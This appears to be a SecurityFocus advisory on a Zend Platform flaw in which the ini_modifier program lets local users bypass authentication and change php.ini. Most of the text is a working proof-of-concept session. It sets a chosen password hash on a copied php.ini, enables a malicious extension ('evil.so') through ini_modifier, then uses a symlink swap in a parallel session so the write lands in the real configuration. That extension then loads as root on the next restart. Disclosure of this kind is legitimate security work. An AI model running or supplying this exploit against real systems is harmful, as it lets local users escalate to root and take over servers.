source: http://www.securityfocus.com/bid/22802/info

The Zend Platform is prone to an issue that may let local attackers modify the PHP configuration file ('php.ini'). This issue occurs because the application is installed with an 'ini_modifier' program that may be executed by local users and will bypass the authentication that is required by the application to change the configuration file.

An attacker could add a malicious PHP extension to the configuration or otherwise tamper with PHP configuration directives. A successful exploit could grant the attacker elevated privileges on the computer.

$ cd /tmp

$ mkdir ini
$ cd ini
$ cp /usr/local/Zend/etc/php.ini .
... now edit zend_gui_password in the copy to a MD5 of your choice and
... REMEBER the old MD5
$ cd ..
$ /usr/local/Zend/sbin/ini_modifier -f /tmp/ini/php.ini -n
Password:
(ini_modifier) help
modify entry - Modifies an entry.
switch extension - Enables or disables an extension.
switch zend_extension - Enables or disables a Zend extension.
help - Shows this help.
write - Writes the changes.
quit - Quits the program.
(ini_modifier) switch zend_extension /var/www/upload/evil.so on
(ini_modifier) modify entry Zend zend_gui_password OLDMD5
(ini_modifier)

In a parallel session you now perform the following:

$ cd /tmp
$ mv ini ini.bak
$ ln -s /usr/local/Zend/etc ini

And continue to edit the ini file:

(ini_modifier) write
(ini_modifier) quit

$ cat /usr/local/Zend/etc/php.ini
[PHP]
zend_extension=/var/www/upload/evil.so
...
zend_gui_password=OLDMD5

The next time the webserver is restarted, the injected malicious Zend Extension will be loaded and executed with root permissions. 